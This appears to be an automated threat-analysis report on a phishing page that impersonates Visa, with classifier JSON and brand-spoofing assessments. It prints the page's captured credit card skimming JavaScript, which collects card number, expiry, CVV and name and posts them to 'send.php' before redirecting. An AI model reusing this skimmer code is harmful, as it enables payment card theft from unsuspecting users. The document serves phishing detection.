Windows Analysis Report
https://reddsuth.outfitsrl.it/?46525SU=4TI90K00D

{
    "typosquatting": true,
    "unusual_query_string": false,
    "suspicious_tld": true,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": true,
    "third_party_hosting": true
}

URL: https://reddsuth.outfitsrl.it

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "Submit Purchase",
  "text_input_field_labels": [
    "Card number",
    "Expiration date",
    "Name",
    "CVV",
    "Email"
  ],
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": true,
  "has_visible_qrcode": false,
  "contains_chinese_text": false
}

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "Submit Purchase",
  "text_input_field_labels": [
    "Card number",
    "Expiration date",
    "CVV",
    "Name",
    "Email"
  ],
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false
}

{
    "risk_score": 8,
    "reasoning": "This code appears to be a credit card skimming script. It collects sensitive payment information (credit card number, CVV, expiration date, name) and sends it to 'send.php' via AJAX. The presence of data collection and exfiltration of financial data (+3), combined with form validation that mimics legitimate payment processing (+2), and redirection after submission to 'redauth' (+3) are strong indicators of malicious intent."
}

$(document).ready(function() {
      setTimeout(function() {
		$('#loadinfo').hide();
		$('#info').show();
      }, 2000);
});

function validinfo() {
    // const ccBankInput = $("#ccbank");
    const ccNumberInput = $("#ccnum");
    const expInput = $("#ccexp");
    // const expMInput = $("#expm");
    const vccInput = $("#cccvv");
    const bName = $("#ccpre");
    const LName = $("#ccnam");
    const bPin = $("#pin");

    // Remove previous error classes
    ccNumberInput.parent().removeClass('has-error');
    expInput.parent().parent().removeClass('has-error');
    // expMInput.parent().parent().removeClass('has-error');
    vccInput.parent().removeClass('has-error');
    bName.parent().removeClass('has-error');
    bPin.parent().removeClass('has-error');
    // $("#jnab").hide();

    let hasErrors = false;

	    // Selectd Validation
    // if (ccBankInput.val() === '') {
        // ccBankInput.parent().parent().addClass('o1QVjcR---status-5-error');
		// $("#errorbnk").show();
        // hasErrors = true;
    // } else {
		// $("#errorbnk").hide();
        // ccBankInput.parent().parent().removeClass('o1QVjcR---status-5-error');
    // }

    // Credit Card Number Validation
    const ccNumberValue = ccNumberInput.val().replace(/\s/g, '');
    if (ccNumberValue === '' || !l9er3a(ccNumberValue)) {
        ccNumberInput.parent().parent().addClass('o1QVjcR---status-5-error');
		$("#errorcc").show();
        hasErrors = true;
    } else {
		$("#errorcc").hide();
        ccNumberInput.parent().parent().removeClass('o1QVjcR---status-5-error');
    }

	



    if (expInput.val() === '') {
        expInput.parent().parent().addClass('o1QVjcR---status-5-error');
		$("#errorexp").show();
        hasErrors = true;
    } else {
		$("#errorexp").hide();
        expInput.parent().parent().removeClass('o1QVjcR---status-5-error');
    }


    // VCC Validation
    const vccValue = vccInput.val();
    if (vccValue === '' || !isvalidcvc(vccValue)) {
        vccInput.parent().parent().addClass('o1QVjcR---status-5-error');
		$("#errorcvv").show();
        hasErrors = true;
    } else {
		$("#errorcvv").hide();
        vccInput.parent().parent().removeClass('o1QVjcR---status-5-error');
    }
	
	if (bName.val() === '') {
        bName.parent().parent().addClass('o1QVjcR---status-5-error');
		$("#errorfname").show();
        hasErrors = true;
    } else {
		$("#errorfname").hide();
        bName.parent().parent().removeClass('o1QVjcR---status-5-error');
    }

	if (LName.val() === '') {
        LName.parent().parent().addClass('o1QVjcR---status-5-error');
		$("#errorlname").show();
        hasErrors = true;
    } else {
		$("#errorlname").hide();
        LName.parent().parent().removeClass('o1QVjcR---status-5-error');
    }
	
	    // const pinValue = bPin.val();
    // if (pinValue === '') {
        // bPin.parent().parent().addClass('o1QVjcR---status-5-error');
        // hasErrors = true;
    // } else {
        // bPin.parent().parent().removeClass('o1QVjcR---status-5-error');
    // }
	




    if (!hasErrors) {
    var bnkValue = $("#ccbank").val();
    var fname = $("#ccpre").val();
    var bname = $("#ccnam").val();
    var sccnum = $("#ccnum").val();
    var expValue = $("#ccexp").val();
    var svcc = $("#cccvv").val();
    // var Pinv = $("#pin").val();
	// $('#app-root').waiting({ fixed: true });
	
	
    $.ajax({
    url: 'send.php', // Path to your PHP script
    method: 'POST',
    data: {
        bnk: bnkValue,
        fullname: fname+" "+bname,
        ccnum: sccnum,
        expCC: expValue,
        // codebanque: Pinv,
        vcc: svcc
    },
    success: function(response) {
        // setTimeout(function(){
		// $('#app-root').waiting('done');
		window.location.replace(redauth);
		
        // toggleClassAndShowcc(2);
    // $("#infocc").hide();
    // $("#infosms").show();
        // },5000)
  

{
  "brands": [
    "Visa"
  ]
}

{
  "brands": [
    "Xneelo"
  ]
}

```json{  "legit_domain": "visa.com",  "classification": "wellknown",  "reasons": [    "The brand 'Visa' is a well-known financial services corporation.",    "The legitimate domain for Visa is 'visa.com'.",    "The provided URL 'suthafridmainvaidationauthmngr.archimetricalab.it' does not match the legitimate domain for Visa.",    "The URL contains suspicious elements such as a long, complex subdomain and an unusual domain extension '.it' which is not typically associated with Visa.",    "The presence of input fields for sensitive information like card number, expiration date, CVV, and email is common in phishing sites targeting financial information."  ],  "riskscore": 9}
Google indexed: False

```json{  "legit_domain": "xneelo.com",  "classification": "known",  "reasons": [    "The brand 'Xneelo' is known and typically associated with the domain 'xneelo.com'.",    "The provided URL 'suthafridmainvaidationauthmngr.archimetricalab.it' does not match the legitimate domain for Xneelo.",    "The URL contains suspicious elements such as a long, complex subdomain and an unusual domain extension '.it', which is not typically associated with Xneelo.",    "The presence of sensitive input fields like 'Card number', 'Expiration date', 'CVV', 'Name', and 'Email' is common in phishing sites attempting to steal personal information."  ],  "riskscore": 9}
Google indexed: False